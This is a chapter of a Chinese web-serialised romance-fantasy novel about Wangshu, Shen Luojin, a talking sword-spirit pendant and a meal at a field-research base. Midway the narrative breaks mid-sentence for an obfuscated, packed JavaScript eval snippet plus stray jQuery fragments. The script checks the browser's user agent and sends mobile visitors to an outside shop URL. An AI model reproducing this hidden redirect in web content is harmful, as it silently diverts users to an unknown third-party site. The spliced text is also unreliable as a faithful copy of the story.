“沈洛津,到底是谁?”吴荫侧身看向望舒,问出从望舒第一天找他谈合作就好奇的事情。
望舒和吴荫相识千年,半年前,吴荫到霜华楼找望舒借法器,闲聊中,谈到吴荫的学生。望舒便是在那时得知沈洛津在浔州大学读书,而后他就提议为这次野外调研拍摄记录片,美其名曰“记录‘水资’专业的调研活动以吸引新生”。
但无事不登三宝殿,吴荫自然不信,经过这一天的观察,她确定了是因为沈洛津,至于为什么……
望舒站在吴荫身旁,双手插兜,望向东面,流水自澄湖而出进入澄泄河,滚滚东流,极目远眺,似乎能望见波涛澎湃的青江水灌入东海,望舒眼神变得冰冷。如果沈洛津,她一定会发现,望舒的眼神是她从未见过的冷漠。望舒似乎透过汹涌的水在凝视着某种远古的,不可挑战的东西,只有他知道,就在今天,在澄江边,遥望东海之时,他做出了此生最重大的决定。
“水神。”望舒简短地回答了吴荫的问题。
吴荫没有将自己的震惊表现出来,只是若有似无地说:“水神不是早就殉道吗?”
“是,但还活着。”望舒还是没有什么情绪变化,“可是‘那些人’不愿意看到水神活着——你猜现在澄湖底下有什么?”望舒将视线转向眼前触手可及的澄湖,眼神终于有了变化,似乎想将偌大一个澄湖蒸干、烧穿。
吴荫不知道是不是自己的心理作用,望舒对澄湖的怒视,好像扰动了湖水,原本平静如镜的水面突然有了波动。
这时沈洛津和江远回来了,望舒停止了和吴荫的对话,看着迎面而来的因为结束任务而欢喜雀跃的女孩,眼神逐渐温柔,直到沈洛津来到他跟前,望舒眼中早已不见方才的愤怒,只剩似水的柔情。
“结束了?这个可以用吗?”望舒微笑着问沈洛津,并无视了江远,以表示这里不欢迎他,虽然他不知道发生了什么,但他看出来沈洛津不喜欢江远,所以他当然不用在意江远。
“可以的。”沈洛津默契地无视江远。
不知道为什么,望舒总给江远一种很强的压迫感,是他不敢在望舒面前造次,这会儿他也很识趣地离开了。
其他小组的工作还没有完成,闻鹤年也不知道去哪里了,只留望舒和沈洛津在覆云顶上。两个人肩并肩盘腿坐下,微风轻轻吹动沈洛津的发梢,沈洛津问望舒:“你怎么不去拍摄?”
“我只负责拍你。”望舒紧紧盯着沈洛津的眼睛,“这是我的唯一任务,也是我的私心。”
沈洛津觉得自己可能有点恐高,前方波澜的湖水看得她有点头晕。心脏好像漏了一拍,随即又极速跳动,风还在吹,可沈洛津却觉得自己浑身燥热。
紧贴沈洛津的沧横感受到她加快的心率和上升的体温,在睡梦中惊醒,担心沈洛津遇到危险,赶忙闪烁光芒:“洛津,你怎么了?怎么心跳这么快,还发烧了吗?”
沧横还没来得及观察四周的环境,就焦急地关心沈洛津的状况。
不光沈洛津,望舒也听到了。没有多想,望舒将手贴在额头上,沈洛津不习惯和别人有肢体接触,下意识退后。望舒一心想着沈洛津会不会生病,没有理会她的躲避。望舒用另一只手抵住沈洛津的肩膀,从背后看,像是将沈洛津揽入怀中。
但其实,望舒只是虚虚抵着望舒肩膀的一角,以便另一只手可以实实贴住沈洛津的额头。
沈洛津感觉自己的心跳得更快了,怀疑是不是真的发烧了。被望舒前后夹击,沈洛津不敢动,只得任由他盖住自己的额头。
“有点烫,但是应该没到发烧的程度。”望舒下了诊断,将手掌从沈洛津额头上收回,他好像又在认真思考沈洛津是怎么了,刚放下覆在额头的手掌,就注意到沈洛津满脸通红,又着急了,“你的脸怎么这么红啊?是不是生病了?有没有哪里不舒服啊?”
望舒连续好几问,但沈洛津的脑子已经自己环游世界了,耳朵在努力工作,但没有听进去一个字,她只想离开,但是肩膀还被望舒箍着,没法动弹。
两个人都很着急,但都不知道该怎么办。
而沧横一醒来见到这个场景,便知道发生了什么,秉持“非礼勿视,非礼勿听,非礼勿言,非礼勿动”的原则,熟练地陷入沉睡,不掺和这两个人的事。
望舒和沈洛津这样僵持了许久,直到失踪已久的闻鹤年再次现身,他不知道从哪里找来一包辣条,嘴里还留着辣条的余香便用这味道攻击人:“发生什么了?我才不在这么一会,你们两个怎么都抱上了?进度条是不是被拉了?”
听了闻鹤年的这句话,望舒才猛然意识到自己的手还在沈洛津肩头,耳根一红,赶忙撤下手,找了个理由逃跑:“我去看看他们拍得怎么样……”
“嗯……”沈洛津不敢看望舒,低着头应答,望舒也不敢看沈洛津,逃似的跑了。
闻鹤年还在吃辣条,望舒走后,在他原先坐处坐下,分享美食:“这个辣条可好吃了,你要不要吃?”
沈洛津迅速抽了一根辣条塞进嘴里。
沈洛津很不会吃辣,这根辣条对她来说已经不在承受范围了,但她还是咀嚼着。辣感传到舌头上,又迅速传遍全身,沈洛津脸还是红的,但脑子清醒了不少。
还是很辣,沈洛津灌了好几口水才勉强不用再学狗吐舌头。
沈洛津想到方才的场景,还是觉得尴尬,害怕闻鹤年追问,想要趁机离开。但闻鹤年像是习惯了,没表现出多稀奇,甚至根本没提。
本就是辣条快吃完一包了闻鹤年才想起来自己还有三个小伙伴,现在又被沈洛津分去一根,辣条很快全部投胎转世了。
闻鹤年擦擦嘴巴,试图装傻引得沈洛津同情:“洛津,能不能把你的吊坠借我玩玩。”
没等沈洛津回应,吊坠自己抗议了:“不要!什么味道啊臭死了,我不要和你待在一起,洛津我们快走。”
沈洛津只好无奈地冲闻鹤年摊摊手,离开了。
下山路上,三个人各有心事,没有上山时那样黏黏糊糊了。
沈洛津觉得无聊,试图唤醒沧横,但失败了,只好一个人独自回实习基地。
到了基地的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791380|210391||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
食堂,虽然各有所想,但三个人还是默契地坐在一起吃饭,只是有些沉默。
终于,闻鹤年忍不住了,他想了一路,百思不得其解,听他的声音非常难受:“辣条的味道真的很臭吗?我觉得很香啊,你们觉得呢?”
“没吃过,不知道。”望舒咬着筷子,不太想理闻鹤年,但是又听见了,所以嘴巴自动回答了。
“我觉得挺好吃的。”沈洛津本来在安静地吃饭,想了想,还是和闻鹤年站到同一阵线吧,不然他真的要就“辣条到底是丑还是香”这个话题想一天了,那也太无聊了,沈洛津心想。
“那沧横为什么说是臭的?”闻鹤年听完更郁闷了,辣条本来是要和沧横分享的,望舒和沈洛津只是顺带的。
沈洛津和望舒同时回答。
“萝卜青菜各有所爱吧。”这是沈洛津。
“没人形的剑灵怎么闻得到辣条的味道。”这是望舒。
两个人的声音重合,本能地对视,视线对上的一刻,又同时低下头吃饭,脸在饭盆里陷得更深了。
闻鹤年还在想辣条,没注意到沈洛津和望舒的异常,他恍然大悟:“对呀,沧横闻不到——”又陷入郁闷,“那她为什么要那样说,好伤心啊。”
这次望舒和沈洛津都没有理他。
而此时,一位女同学来到他们的餐桌,她询问沈洛津:“洛津,我可以和你们一起坐吗?”这声问询打断了闻鹤年的思路,否则他真的有可能一整天都在想辣条的事情。
“当然了,快坐快坐。”沈洛津见到她很高兴,连忙招呼坐下,并介绍众人认识,“你什么时候过来的?”
“刚到不久。”这个女同学是沈洛津的室友张知研,请了一天假,现在才到实习基地。
张知研似乎是想说什么,但她扫了两眼对面两个壮汉,纠结万分,没有开口。
“怎么了,你要说什么?”沈洛津一向了解张知研,注意到她的东张西望就知道她有话说,但在纠结要不要说,“他们都是自己人,你说吧。”
听了这话,张知研还是有些挣扎,试探性地说:“听说你和‘那个谁’负责一个课题啊?”
沈洛津咀嚼的速度慢了,咬着筷子不肯松嘴,冲张知研点了点头:“嗯。”
虽然张知研没有明说是谁,但大家都心知肚明,她所说之人正是江远。在山上时,望舒就好奇江远到底做了什么让沈洛津对他是那样的态度,在他看来,江远还算是一个有礼貌的人。而一般有礼貌的人,沈洛津都挺喜欢的,至少不会是……厌恶。
“是不是他找了老师,刻意把你们分到一起?”张知研已经完全停止进食了,焦急中又带着愤怒,紧紧地看着还在慢吞吞吃菜叶子的沈洛津,试图从她的表情里读出态度,再从态度中推算行动计划。
“不知道,不过都已经分完组了,就先这样吧。”沈洛津脸上没什么表情,心里已经把江远骂了一百遍。
准备解密江远的望舒听得依旧一头雾水,什么也没听出来,忍不住发问:“他到底怎么了?给错过更新的观众一点线索呗。”